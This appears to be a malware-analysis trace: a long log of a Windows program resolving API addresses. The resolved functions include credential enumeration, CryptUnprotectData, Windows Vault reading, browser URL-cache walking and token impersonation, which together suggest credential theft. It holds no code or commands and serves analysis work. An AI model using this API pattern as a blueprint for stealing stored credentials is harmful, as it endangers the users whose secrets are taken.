Get Address c:\windows\system32\kernel32.dll function = MapViewOfFile, address_out = 0x76b5899b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76b5bb9f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTickCount, address_out = 0x76b5ba60 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FlushFileBuffers, address_out = 0x76b47f81 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualFree, address_out = 0x76b61da4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualAlloc, address_out = 0x76b62fb6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcess, address_out = 0x76b5cdcf True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetEvent, address_out = 0x76b5bccc True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ResetEvent, address_out = 0x76b5bcb4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateEventW, address_out = 0x76b63386 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleW, address_out = 0x76b6374d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76b6ed38 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76b63d01 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetStartupInfoW, address_out = 0x76b63891 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76b676b5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeSListHead, address_out = 0x77395eeb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TerminateProcess, address_out = 0x76b52331 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateMutexW, address_out = 0x76b52aee True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = QueryPerformanceFrequency, address_out = 0x76b522a7 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTempPathW, address_out = 0x76b48b33 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = UnlockFileEx, address_out = 0x76b76947 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetEndOfFile, address_out = 0x76b52319 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFullPathNameA, address_out = 0x76b63735 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetFilePointer, address_out = 0x76b5db36 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LockFile, address_out = 0x76b7642f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = OutputDebugStringA, address_out = 0x76b4eb36 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetDiskFreeSpaceW, address_out = 0x76b43530 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InterlockedCompareExchange, address_out = 0x76b5bb92 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WriteFile, address_out = 0x76b61400 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFullPathNameW, address_out = 0x76b64543 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapFree, address_out = 0x76b5bbd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapCreate, address_out = 0x76b63ea2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TryEnterCriticalSection, address_out = 0x773832bc True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ReadFile, address_out = 0x76b596fb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = AreFileApisANSI, address_out = 0x76b9f311 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenA, address_out = 0x76b5a611 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseHandle, address_out = 0x76b5ca7c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ExpandEnvironmentStringsA, address_out = 0x76b48a5b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WTSGetActiveConsoleSessionId, address_out = 0x76b4480b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteCriticalSection, address_out = 0x77389ac5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WaitForSingleObject, address_out = 0x76b5ba90 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSection, address_out = 0x7738a149 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LeaveCriticalSection, address_out = 0x77377760 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = EnterCriticalSection, address_out = 0x773777a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryW, address_out = 0x76b63c01 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetVersionExW, address_out = 0x76b53b1a True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LocalFree, address_out = 0x76b5ca64 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetLastError, address_out = 0x76b5bf00 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenW, address_out = 0x76b5d9e8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcpyA, address_out = 0x76b59793 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryA, address_out = 0x76b6395c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcatA, address_out = 0x76b5a19f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetLastError, address_out = 0x76b5bb08 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualQuery, address_out = 0x76b676d6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThread, address_out = 0x76b6375d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Sleep, address_out = 0x76b5ba46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentDirectoryA, address_out = 0x76b4733c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetCurrentDirectoryA, address_out = 0x76b5903d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SystemTimeToFileTime, address_out = 0x76b5cecb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ReadConsoleW, address_out = 0x76b70e73 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WriteConsoleW, address_out = 0x76b582f1 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetStdHandle, address_out = 0x76b9f589 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetEnvironmentVariableA, address_out = 0x76b58921 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76b61dc3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76b61dbc True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCommandLineW, address_out = 0x76b6679e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCommandLineA, address_out = 0x76b698ff True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetOEMCP, address_out = 0x76b53db9 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsValidCodePage, address_out = 0x76b6c1c0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = EncodePointer, address_out = 0x7738a295 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DecodePointer, address_out = 0x7738cd10 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCPInfo, address_out = 0x76b61e2e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CompareStringW, address_out = 0x76b59bee True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LCMapStringW, address_out = 0x76b613d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetLocaleInfoW, address_out = 0x76b66596 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76b63939 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsAlloc, address_out = 0x76b635a1 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsGetValue, address_out = 0x76b5da70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsSetValue, address_out = 0x76b5da88 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsFree, address_out = 0x76b613b8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetStringTypeW, address_out = 0x76b667c8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GlobalAlloc, address_out = 0x76b59ce1 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GlobalFree, address_out = 0x76b59cf9 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindFirstFileA, address_out = 0x76b62d89 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindNextFileA, address_out = 0x76b5a187 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileA, address_out = 0x76b7532c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileTime, address_out = 0x76b50f6f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InterlockedFlushSList, address_out = 0x77383129 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryExW, address_out = 0x76b54775 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = RaiseException, address_out = 0x76b4eb60 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = RtlUnwind, address_out = 0x76b47f70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ExitThread, address_out = 0x7735f611 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeLibraryAndExitThread, address_out = 0x76b4fdb8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleExW, address_out = 0x76b53e39 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ExitProcess, address_out = 0x76b6214f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleFileNameA, address_out = 0x76b633f6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetStdHandle, address_out = 0x76b61e46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileType, address_out = 0x76b675a5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetConsoleCP, address_out = 0x76b62c8a True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetConsoleMode, address_out = 0x76b62412 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsValidLocale, address_out = 0x76b53de4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetUserDefaultLCID, address_out = 0x76b66584 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = EnumSystemLocalesW, address_out = 0x76b9f3df True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetACP, address_out = 0x76b639aa True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetFilePointerEx, address_out = 0x76b4f5b2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTimeZoneInformation, address_out = 0x76b48a3b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindClose, address_out = 0x76b60e62 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindFirstFileExA, address_out = 0x76b9f3ef True 1
Fn
Get Address c:\windows\system32\user32.dll function = IsCharAlphaNumericW, address_out = 0x76c09a7a True 1
Fn
Get Address c:\windows\system32\user32.dll function = wsprintfA, address_out = 0x76c13f47 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptGenRandom, address_out = 0x774cdfc8 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = GetTokenInformation, address_out = 0x774d431c True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = ConvertSidToStringSidW, address_out = 0x774d4344 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = OpenProcessToken, address_out = 0x774d4304 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = ImpersonateLoggedOnUser, address_out = 0x774cc57a True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = GetUserNameA, address_out = 0x774ea4b4 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = LookupPrivilegeValueA, address_out = 0x774d404a True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegDisablePredefinedCacheEx, address_out = 0x77503429 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = AdjustTokenPrivileges, address_out = 0x774d418e True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegEnumKeyExA, address_out = 0x774d1481 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegOpenKeyExA, address_out = 0x774d4907 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = IsTextUnicode, address_out = 0x774d448e True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CredEnumerateA, address_out = 0x77507381 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = DuplicateToken, address_out = 0x774cc7e6 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegEnumKeyA, address_out = 0x774ea299 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegOpenKeyA, address_out = 0x774ccc15 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegQueryValueExA, address_out = 0x774d48ef True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCloseKey, address_out = 0x774d469d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptAcquireContextW, address_out = 0x774cdf14 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CredEnumerateW, address_out = 0x77507481 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CredFree, address_out = 0x774cb2ec True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptCreateHash, address_out = 0x774cdf4e True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptHashData, address_out = 0x774cdf36 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptDestroyHash, address_out = 0x774cdf66 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegOpenKeyExW, address_out = 0x774d468d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptGetHashParam, address_out = 0x774cdf7e True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegEnumValueW, address_out = 0x774d48cc True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegQueryValueExW, address_out = 0x774d46ad True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptReleaseContext, address_out = 0x774ce124 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RevertToSelf, address_out = 0x774d1562 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptAcquireContextA, address_out = 0x774c91dd True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoCreateInstance, address_out = 0x76d19d0b True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoUninitialize, address_out = 0x76d186d3 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoInitialize, address_out = 0x76ceb636 True 1
Fn
Get Address c:\windows\system32\userenv.dll function = GetProfilesDirectoryA, address_out = 0x74b3e291 True 1
Fn
Get Address c:\windows\system32\userenv.dll function = ExpandEnvironmentStringsForUserA, address_out = 0x74b3e53d True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrStrIA, address_out = 0x771dd250 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrCmpW, address_out = 0x771e8277 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrCpyNW, address_out = 0x7720e0e6 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrChrW, address_out = 0x771e4640 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrCatW, address_out = 0x7720e105 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrStrA, address_out = 0x771fc45b True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = wnsprintfW, address_out = 0x771fef87 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrChrA, address_out = 0x771dc5e6 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = wnsprintfA, address_out = 0x771fedae True 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CryptUnprotectData, address_out = 0x75645a7f True 1
Fn
Get Address c:\windows\system32\wininet.dll function = FindNextUrlCacheEntryW, address_out = 0x7726989c True 1
Fn
Get Address c:\windows\system32\wininet.dll function = FindCloseUrlCache, address_out = 0x77278409 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = FindFirstUrlCacheEntryW, address_out = 0x7726978a True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memcpy, address_out = 0x77364cc0 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memcmp, address_out = 0x77363b1b True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = _wcslwr, address_out = 0x773f9e8c True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memmove, address_out = 0x77365000 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memset, address_out = 0x77365340 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = wcschr, address_out = 0x77387390 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strrchr, address_out = 0x77365900 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = _wcsicmp, address_out = 0x77386f61 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strncpy, address_out = 0x77365790 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strstr, address_out = 0x773775c0 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strncmp, address_out = 0x773a25ec True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strchr, address_out = 0x77377690 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memchr, address_out = 0x77364c00 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = strncat, address_out = 0x77365650 True 1
Fn
Get Address c:\windows\system32\wtsapi32.dll function = WTSQueryUserToken, address_out = 0x73f11f81 True 1
Fn
Get Address c:\windows\system32\shell32.dll function = SHGetSpecialFolderPathA, address_out = 0x75dffb26 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 16, address_out = 0x75a96b0e True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 111, address_out = 0x75a937ad True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 19, address_out = 0x75a96f01 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 3, address_out = 0x75a93918 True 1
Fn
Get Address c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll function = InitializeCriticalSectionEx, address_out = 0x0 False 4
Fn
Get Address c:\windows\system32\kernel32.dll function = FlsAlloc, address_out = 0x76b6418d True 6
Fn
Get Address c:\windows\system32\kernel32.dll function = FlsSetValue, address_out = 0x76b676e6 True 6
Fn
Get Address c:\windows\system32\kernel32.dll function = FlsGetValue, address_out = 0x76b61e16 True 4
Fn
Get Address c:\windows\system32\kernel32.dll function = LCMapStringEx, address_out = 0x76b9f72b True 4
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeConditionVariable, address_out = 0x77389981 True 4
Fn
Get Address c:\windows\system32\kernel32.dll function = SleepConditionVariableCS, address_out = 0x76b418be True 4
Fn
Get Address c:\windows\system32\kernel32.dll function = WakeAllConditionVariable, address_out = 0x773545a5 True 4
Fn
Get Address c:\windows\system32\kernel32.dll function = FlsFree, address_out = 0x76b61f61 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76b63879 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = InitOnceExecuteOnce, address_out = 0x76b59601 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateEventExW, address_out = 0x76b124d8 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateSemaphoreW, address_out = 0x76b4db8b True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76b42111 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76b4b009 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadpoolTimer, address_out = 0x773589be True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7734c02a True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7734c0d2 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76b43f78 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadpoolWait, address_out = 0x77358bfb True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7734b567 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77375998 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x77342251 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x773428f6 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76b99aa9 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTickCount64, address_out = 0x76b4eb4e True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileInformationByHandleEx, address_out = 0x76b538ad True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = SetFileInformationByHandle, address_out = 0x76b48d0f True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTimePreciseAsFileTime, address_out = 0x0 False 2
Fn
Get Address c:\windows\system32\kernel32.dll function = WakeConditionVariable, address_out = 0x773d5a7b True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeSRWLock, address_out = 0x77389981 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = AcquireSRWLockExclusive, address_out = 0x7738334e True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = TryAcquireSRWLockExclusive, address_out = 0x77361801 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = ReleaseSRWLockExclusive, address_out = 0x77383324 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = SleepConditionVariableSRW, address_out = 0x76b423f5 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThreadpoolWork, address_out = 0x76b489f2 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = SubmitThreadpoolWork, address_out = 0x773426a9 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseThreadpoolWork, address_out = 0x77342111 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = CompareStringEx, address_out = 0x76b6ebc6 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76b453a5 True 2
Fn
Get Address c:\windows\system32\vaultcli.dll function = VaultEnumerateItems, address_out = 0x73943099 True 1
Fn
Get Address c:\windows\system32\vaultcli.dll function = VaultEnumerateVaults, address_out = 0x73942945 True 1
Fn
Get Address c:\windows\system32\vaultcli.dll function = VaultFree, address_out = 0x73944321 True 1
Fn
Get Address c:\windows\system32\vaultcli.dll function = VaultGetItem, address_out = 0x73943242 True 2
Fn
Get Address c:\windows\system32\vaultcli.dll function = VaultOpenVault, address_out = 0x739426a9 True 1
Fn
Get Address c:\windows\system32\vaultcli.dll function = VaultCloseVault, address_out = 0x73942718 True 1
Fn
Get Address - function = EnterCriticalSection, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = LeaveCriticalSection, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = InitializeCriticalSection, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = CloseHandle, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = DeleteCriticalSection, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = SetEvent, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = ResetEvent, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = WaitForSingleObjectEx, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = CreateEventW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetModuleHandleW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetProcAddress, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = IsDebuggerPresent, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = UnhandledExceptionFilter, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = SetUnhandledExceptionFilter, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetStartupInfoW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = IsProcessorFeaturePresent, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = QueryPerformanceCounter, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetCurrentProcessId, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetCurrentThreadId, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetSystemTimeAsFileTime, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = InitializeSListHead, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetCurrentProcess, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = TerminateProcess, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = WideCharToMultiByte, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = EncodePointer, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = DecodePointer, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = MultiByteToWideChar, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = SetLastError, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = InitializeCriticalSectionAndSpinCount, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = TlsAlloc, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = TlsGetValue, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = TlsSetValue, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = TlsFree, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = LCMapStringW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetLocaleInfoW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetStringTypeW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetCPInfo, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetLastError, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = FreeLibrary, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = LoadLibraryExW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = RaiseException, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = InterlockedFlushSList, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = RtlUnwind, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = ExitProcess, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetModuleHandleExW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetModuleFileNameA, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = HeapAlloc, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = HeapReAlloc, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = HeapFree, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetACP, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetStdHandle, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetFileType, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = IsValidLocale, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetUserDefaultLCID, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = EnumSystemLocalesW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = FindClose, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = FindFirstFileExA, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = FindNextFileA, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = IsValidCodePage, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetOEMCP, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetCommandLineA, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetCommandLineW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetEnvironmentStringsW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = FreeEnvironmentStringsW, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetProcessHeap, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = FlushFileBuffers, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = WriteFile, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetConsoleCP, ordinal = 0, address_out = 0x22fbb4 True 1
Fn
Get Address - function = GetConsoleMode, ordinal = 0, address_out = 0x22fbb4 True 1
